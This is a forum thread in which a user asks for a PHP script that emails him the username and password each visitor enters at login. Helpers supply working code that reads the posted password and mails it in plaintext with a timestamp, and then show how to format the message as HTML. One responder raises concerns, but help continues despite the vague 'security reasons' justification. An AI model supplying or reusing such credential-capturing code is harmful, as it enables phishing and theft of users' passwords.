Need some help with security code

Iam trying to create a php script that do this:

user logs in @ my website,
filled details send ->> email

I realy have no idea to get this working.

Any help would be awesome!

Are you planning to e-mail both the username and password? E-mail isn’t usually over a secure connection (so could be intercepted) and isn’t encrypted. Also, the safety of your users then depends on the security of the e-mail account - in addition to the suspicion your users could place on you for recording their login details.

Mmm whats a better way then?
But do you know the code for this?
I already searched the whole web but non of them are the one i am searching for.

I have this code but i only get username.
Without password.

<? $email = ( "[email protected]" ); $message = $_POST['email'] ; mail( "[email protected]", "Email Subject", $message, "From: $email " ); print "Congratulations your email has been sent"; ?>

Why do you need to be sent the users’ login information?

Just for security reasons.

You’d just pick up the password as you would the email:

[php]$email = "[email protected]";
$to = ‘[email protected]’;
$subject = ‘Login Record’;
$message = "User Login\n\nE-mail: " . $_POST[‘email’] . "\nPassword: " . $_POST[‘password’];

$result = mail($to, $subject, $message, "From: $email ");

if($result) {
echo “Congratulations your email has been sent”;
} else {
echo “E-mail sending failed!”;
}[/php]

Thanks, realy…
I was searching for this for months!
But can i ask you 1 more thing please?
For a little more security, i want the day and the hour it’s filled.
I have this code already but i have realy no idea where to place this.
Is it also possible to automatically show this?:

Instead of:

abc
123

This:

user= abc
pass= 123

Code:
$subdate = date(“d/m/Y (G:i)”);

Thanks in advance :wink:

[php]$message = "User Login\n\nuser= " . $_POST[‘email’] . "\npass= " . $_POST[‘password’] . "\ndate_time= " . date(“d/m/Y (G:i)”);[/php]

Awesome!
Much appreciated dude ;D

What is the job of this actualy?: \n\ ?

Are these the command to create another line?
Because i tried to put that command after . $_POST[‘password’]
to get this:

User Login

user= abc
pass= 123

time= 05/01/2012 (15:27)

Instead of:

User Login

user= abc
pass= 123
time= 05/01/2012 (15:27)

But i only get this syntax error:

Warning: Unexpected character in input: ‘’ (ASCII=92) state=1 in /userlogin.php on line 7

Parse error: syntax error, unexpected T_STRING in /userlogin.php on line 7

How did you modify the code? For that, you should have added an extra \n:

[php]$message = "User Login\n\nuser= " . $_POST[‘email’] . "\npass= " . $_POST[‘password’] . "\n\ndate_time= " . date(“d/m/Y (G:i)”);[/php]

Mmm i guess i placed it on the wrong place.
Is it also possible to use colored text in php?
Like:

Login user:

I can’t find the codes for Outlook.
Also tried with HTML color codes but does not take any effect.
Maybe i put them at the wrong place or something?

This code also does not take effect. Mmm

Certain email headers must be added in order for HTML emails to be sent.
Before i continue assistance, are they logging into YOUR website and it is an account on YOUR website?

And what for email headers do i need to use in order to see color in the email?
It’s for my website yes.

[php]$headers = ‘MIME-Version: 1.0’ . “\r\n”;
$headers .= ‘Content-type: text/html; charset=iso-8859-1’ . “\r\n”;

mail($to, $subject, $message, $headers);[/php]

Taken from http://php.net/manual/en/function.mail.php.

Will this work for outlook 2010?
I am going to try this already.
Without trying you can not know :smiley:
So, that code at the top and at $message this?:

color:#666666Login user ;

The message still needs to be in HTML format:

[php]Some Text

Some Other Text[/php]

Note the use of the tag for containing text (set with the style attribute) and the
tag which is required for new lines when you’re using HTML formatting.

So this is not possible?:
$message = " Login user

Is is possible to use with the php mail form you gave me?

Sponsor our Newsletter | Privacy Policy | Terms of Service